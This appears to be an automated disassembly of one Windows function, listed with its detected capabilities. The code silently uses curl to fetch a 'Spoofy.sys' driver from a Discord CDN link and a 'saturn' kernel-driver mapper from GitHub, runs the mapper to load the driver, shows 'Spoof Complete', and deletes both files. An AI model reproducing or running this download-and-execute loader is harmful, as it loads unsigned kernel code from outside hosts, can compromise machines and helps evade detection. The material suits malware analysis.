Function at 0x140002680
Capabilities:
Delete file
Execute command
Hide graphical window
Set console window title

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 3
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x140085208]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov ecx, 0x60
call fcn.140072d10
mov rbp, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [0x1400863e0]
movdqu xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [str._n_n_n_Please_Wait_While_We_Prepare_Your_System._This_Window_Will_Close_For_5_Seconds]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140085220]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140085230]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140085240]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140085250]
movups xmmword [rax + 0x40], xmm0
movzx eax, word [0x140085260]
mov word [rbp + 0x50], ax
lea rdi, [rbp + 0x52]
mov byte [rdi], 0
mov dword [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_50
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rbp
cmp rbp, rdi
je 0x140002772
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_50
movzx edx, byte [rbx]
mov rcx, rsi
call fcn.14000fe20
mov rcx, rax
lea rdx, [0x14000fff0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x60]
call fcn.140010010
inc rbx
cmp rbx, rdi
jne 0x140002745
mov edx, 0x60
mov rcx, rbp
call fcn.14007305c
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.curl__https:__cdn.discordapp.com_attachments_1304868080727494777_1311766658154500189_Spoofy.sys_ex674a0d66is6748bbe6hm61db3ad226dfafc84d2b780677b28ae28876edcc9bcad9767ecc32579d5098a9___o__C:Windowswoof.sys____silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__https:__raw.githubusercontent.com_paysonism_saturn_mapper_main_mapper_build_saturn.exe___o__C:Windows_saturn.exe____silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_saturn.exe_C:Windowswoof.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140085208]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.Spoof_Complete
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140072d10
mov rbp, rax
mov qword [rsp + 0x20], rax
movdqa xmm0, xmmword [reloc.WLDAP32.dll_Ordinal_27]
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str._n_n_n_Press_Any_Key_To_Finish]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140085448]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140085450]
mov word [rax + 0x18], cx
movzx eax, byte [0x140085452]
mov byte [rbp + 0x1a], al
lea rdi, [rbp + 0x1b]
mov byte [rdi], 0
mov dword [rsp + 0x40], reloc.WLDAP32.dll_Ordinal_50
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rbx, rbp
cmp rbp, rdi
je 0x14000287d
mov qword [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_50
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, rsi
call fcn.14000fe20
mov rcx, rax
lea rdx, [0x14000fff0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x60]
call fcn.140010010
inc rbx
cmp rbx, rdi
jne 0x140002850
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov rcx, rbp
call fcn.14007305c
lea rcx, str.pause__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowswoof.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Windows_saturn.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140085208]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]